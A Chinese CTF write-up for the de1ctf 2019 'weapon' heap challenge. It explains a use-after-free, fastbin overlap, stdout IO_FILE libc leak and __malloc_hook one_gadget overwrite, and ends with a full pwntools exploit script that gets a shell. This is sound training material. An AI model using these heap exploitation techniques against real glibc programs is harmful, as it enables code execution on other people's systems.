小结:
-
stdout结构上方可以伪造0x70的chunk
-
控制IO泄露libc、控制stdout的IO_FILE结构,修改其_flags为0xfbad1800,将后面三个read指针置空,将_IO_write_base处的第一个字节改为0x58,后面的_IO_write_ptr和_IO_write_end保持不变。之后当程序遇到puts函数时就会打印_IO_write_base到_IO_write_ptr之间的内容,按照上面步骤改动的话,我们泄露出的第一个libc地址是_IO_file_jumps。
师傅 __lifanxin 对IO_FILE写的很详细 非常感谢 -
_flags修改为0xfbad1800是为了绕过从puts到最后_IO_SYSWRITE中间分支
感谢 R4bbit师傅 对于这部分写的很详细
但是在做这道题时发现,_flags修改为0xfbad1887也打通了,所以对于IO_FILE还是有点不太通透
ELF分析
64位 2.23-0ubuntu11_amd64 保护全开
题目分析
菜单没有show功能
create限制的chunk大小最大0x60,序号可以自己定
delete存在uaf
rename没有明显漏洞,不存在溢出
因为程序不存在show功能,所以我们需要利用到IO_FILE,这里基本思路就是利用unsortedbin的性质,可以获得mainarena+88,因为该地址距离stdout的IO_FILE结构上方的fake_chunk很近
注意:alsr开启后三位也是固定的,所以我们只需要爆破一位就可以
所以我们需要先将一块chunk放入unsortedbin中,然后对该chunk的fd修改,然后修改IO_FILE内容达到泄露libc目的,可以参考前面两位师傅的文章,这里就不赘述IO_FILE结构了
思路实现
利用uaf,修改进入fastbin之后chunk的fd指针,使fd指向chunk体中达到不同chunk指向同一块地址,然后就可以对size位进行修改
即 fastbin[0x60]—>2—>0,然后对rename 2,使得fastbin[0x70]—>2—>fake_chunk
而fake_chunk包括了chunk 1
注意:这里我们fake_chunk从0x50开始,size为0x61,我们将chunk1的size修改为0x91时,会包含掉chunk2的一部分,所以为了不出错需要申请一个size为0x21的chunk,也就是
当然,这里也可以把chunk内用0x61填充满
此时fastbin[0x70]和unsortedbin中都有chunk1,先将chunk1的size改回0x71,然后修改chunk1的fd指向stdout_fake_chunk,之后就可以拿到stdout_fake_chunk,然后修改IO_FIILE结构
这样在下次puts时,就回泄露_IO_file_jumps的地址了,然后就可以得到libc地址,修改malloc_hook为onegadget就可以get shell
完整EXP
from pwn import *
#import signal
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')
pwnfile = './137_de1ctf_2019_weapon'
io=process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")
def debug():
gdb.attach(io)
pause()
def cmd(x):
io.recvuntil("choice >> \n")
io.sendline(str(x))
def add(size,idx,name): #0x60
cmd(1)
io.recvuntil(" size of weapon: ")
io.sendline(str(size))
io.recvuntil("input index: ")
io.sendline(str(idx))
io.recvuntil("input your name:")
io.send(name)
def edit(idx,name):
cmd(3)
io.recvuntil("input idx: ")
io.sendline(str(idx))
io.recvuntil("new content:")
io.send(name)
def delete(idx): #uaf
cmd(2)
io.recvuntil("input idx :")
io.sendline(str(idx))
#2.23 全开 无show--》IO
def pwn():
add(0x58,0,b'aaaa')
add(0x60,1,b'bbbb')
add(0x18,9,b'nnnn')
add(0x58,2,b'cccc')
delete(0)
delete(1)
delete(2)
# f(60)-->2-->0
edit(2,b'\x50')
edit(0,p64(0)*9+p64(0x61))
add(0x58,3,b'cccc')
add(0x58,4,p64(0)+p64(0x91))
debug()
delete(1) #size改变 此时f(70),u中都有1
edit(4,p64(0)+p64(0x71)+p16(0x55dd))
#debug()
add(0x60,6,b'\x00') #拿走1
pay = b'\x00'*0x33+p64(0xfbad1887)+p64(0)*3+b'\x00'
add(0x60,7,pay)
""" 填充0x71
add(0x60,0,p64(0x71)*10+p64(0)+p64(0x71))
add(0x60,1,p64(0x71)*12)
add(0x60,2,p64(0x51)*12)
delete(0)
delete(1)
delete(0)
add(0x60,3,b'\x50')
add(0x60,3,b'\x50')
add(0x60,3,b'\x50')
add(0x60,4,b'llll')
delete(1)
edit(4,p64(0x71)*3+p64(0x91))
delete(1)
debug()
edit(4,p64(0x71)*3+p64(0x71)+p16(0x55dd))
add(0x60,3,b'\x00')
add(0x60,5,b'\x00'*0x33+p64(0xfbad1887)+p64(0)*3+b'\x58')
"""
libc_adr=u64(io.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,b'\x00'))
#libc_adr = u64(io.recvn(8))
print("libc_adr--->",hex(libc_adr))
libc_base = libc_adr - 0x3c56a3
print("libc_base--->",hex(libc_base))
realloc_offset=0x846c0
gadget=0x4526a
og = [0x45226,0x4527a,0xf03a4,0xf1247]
#onegadget = libc_base + og[3]
onegadget = libc_base + gadget
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#realloc_adr = libc_base + libc.symbols['realloc']
realloc_adr = libc_base + realloc_offset
print("malloc_hook--->",hex(libc.symbols['__malloc_hook'])) #改偏移没变
#debug()
delete(1)
edit(4,p64(0x71)*4+p64(malloc_hook-0x23))
add(0x60,3,b'yyyy')
add(0x60,6,b'c'*0xb+p64(onegadget)+p64(realloc_adr+14))
cmd(1)
io.recvuntil(" size of weapon: ")
io.sendline(str(16))
io.recvuntil("input index: ")
io.sendline(str(9))
io.interactive()
if __name__ == '__main__':
sh = None
while True:
try:
io=process(pwnfile)
#io=remote('node4.buuoj.cn',29334)
pwn()
except:
try:
sh.close()
except:
pass